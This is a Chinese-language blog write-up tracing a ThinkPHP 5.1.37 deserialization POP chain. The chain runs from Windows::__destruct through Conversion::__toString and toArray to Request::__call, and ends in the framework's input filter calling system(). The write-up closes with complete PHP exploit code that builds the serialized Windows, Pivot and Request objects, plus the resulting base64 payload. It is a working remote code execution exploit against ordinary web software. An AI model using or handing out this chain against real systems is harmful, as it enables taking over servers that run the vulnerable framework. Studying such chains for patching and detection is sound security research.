Thinkphp 5.1.37 反序列化利用链

参考文章：https://blog.riskivy.com/挖掘暗藏thinkphp中的反序列利用链/

自己就跟着走一遍体会下！

反序列化的常见起点

__wakeup 一定会调用

__destruct 一定会调用

__toString 当一个对象被反序列化后又被当做字符串使用

反序列化的常见中间跳板:

__toString 当一个对象被当做字符串使用

__get 读取不可访问或不存在属性时被调用

__set 当给不可访问或不存在属性赋值时被调用

__isset 对不可访问或不存在的属性调用isset()或empty()时被调用

形如 $this->$func();

反序列化的常见终点:

__call 调用不可访问或不存在的方法时被调用

call_user_func 一般php代码执行都会选择这里

call_user_func_array 一般php代码执行都会选择这里

现在又多了phar反序列化的利用方式，能够反序列化其metadata部分，利用的范围增加了许多！

---

环境：thinkphp 5.1.37

漏洞挖掘分析

1、寻找function __destruct的析构函数为如下：

这里跟的是Windows类

其中removeFiles 方法中 file_exists 能够触发 __toString 方法

可以对__toSting 方法进行全局搜索 发现 Conversion 中有实现

它会调用 toJson 方法

toJson中接着会调用 toArray 方法，继续跟

在该 toArray 方法中 就可以去寻找能不能找到想要的反序列化的终点造成命令执行的POP链，满足条件都为 $可控变量->方法(参数可控)

这里找的是如下这块

因为满足条件需要时 $可控变量->方法(参数可控)，所以还要看 $relation 能否可控，受getRelation函数的影响

那么 $this->append ，append变量就一定需要控制

接着走的当前流程就是如下

这时候 $relation->visible($name); 就会去调用__call方法，我们需要找一个能够利用的地方

利用的地方的条件需要：

1.该类中没有"visible"方法， 因为这样才能触发__call方法

2.实现了__call方法 ，并且__call方法中有我们想要的东西，比如 call_user_func_array call_user_func 等等

Request类中的 __call方法 就满足条件，并且 $this->hook 可控

寻找当前类中能够利用的函数，比如 isAjax ，其中调用了param函数，那么肯定就能触发input函数了，可以回顾下tp 5.0/1.x的命令执行漏洞！

构建EXP

可以先从第一个__destruct，那么我们用到的有Windows类，并且第二个__toString需要触发条件是我们找好的一个类Conversion

但是你又会发现该类是trait所修饰的，那我们不能直接拿来实例化，所以可以通过找继承这个类的来，可以找到Model类use了这个Conversion类，所以可以继续看Model是否符合我们的需要

然而你又会发现Model还是一个抽象类，那又不行，所以继续看谁继承了Model类

刚刚好有一个类符合我们的需求Pivot类

然后我们最后执行的话还需要通过Request类，那么到这里的话我们要用的类一共有三大类，Pivot，Windows，Request类

那么这里还需要继续分析，这三个类中的属性和方法我们要怎么写？

先看Windows类，想要让它触发__toString方法，那么它的files属性一定需要一个类，并且就是Pivot类，因为这样才可以触发Pivot继承来自Conversion的__toString方法

namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
    private $files = [];
 
    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}

继续看第二个，也就是我们的Pivot类，这个类其实就是一个傀儡的作用，主要就是为的Conversion中的__toString方法，并且我们还需要触发Request类，触发来自append和data属性，所以这两个属性中我们还需要填上对应的要用的数据

则代码如下所示

namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        # append键必须存在，并且与$this->data相同
        $this->append = ["huha"=>[]];
        $this->data = ["huha"=>new Request()];
    }
}
 
namespace think\model;
use think\Model;
class Pivot extends Model
{
}

然后考虑最后一个Request类，因为我们需要使用这个类的isAjax方法和执行函数的属性，所以该类为如下：

namespace think;
class Request{
    protected $hook = [];
    protected $filter = "system";
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'huha'];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}
 

那么到这里的话，构建代码如下：

abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        # append键必须存在，并且与$this->data相同
        $this->append = ["huha"=>[]];
        $this->data = ["huha"=>new Request()];
    }
}
 
namespace think\model;
use think\Model;
 
class Pivot extends Model
{
}
 
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
    private $files = [];
 
    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}

测试代码：

最终EXP：

<?php
 
namespace think;
class Request{
    protected $hook = [];
    protected $filter = "system";
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'huha'];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}
 
 
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        # append键必须存在，并且与$this->data相同
        $this->append = ["huha"=>[]];
        $this->data = ["huha"=>new Request()];
    }
}
 
namespace think\model;
 
use think\Model;
 
class Pivot extends Model
{
}
 
namespace think\process\pipes;
use think\model\Pivot;
 
class Windows
{
    private $files = [];
 
    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
//var_dump(new Windows());
echo base64_encode(serialize(new Windows()));
 
// TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo0OiJodWhhIjthOjA6e319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo0OiJodWhhIjtPOjEzOiJ0aGlua1xSZXF1ZXN0IjozOntzOjc6IgAqAGhvb2siO2E6MTp7czo3OiJ2aXNpYmxlIjthOjI6e2k6MDtyOjc7aToxO3M6NjoiaXNBamF4Ijt9fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7czo5OiIAKgBjb25maWciO2E6MTp7czo4OiJ2YXJfYWpheCI7czo0OiJodWhhIjt9fX19fX0=
?>

最后全部的流程图如下：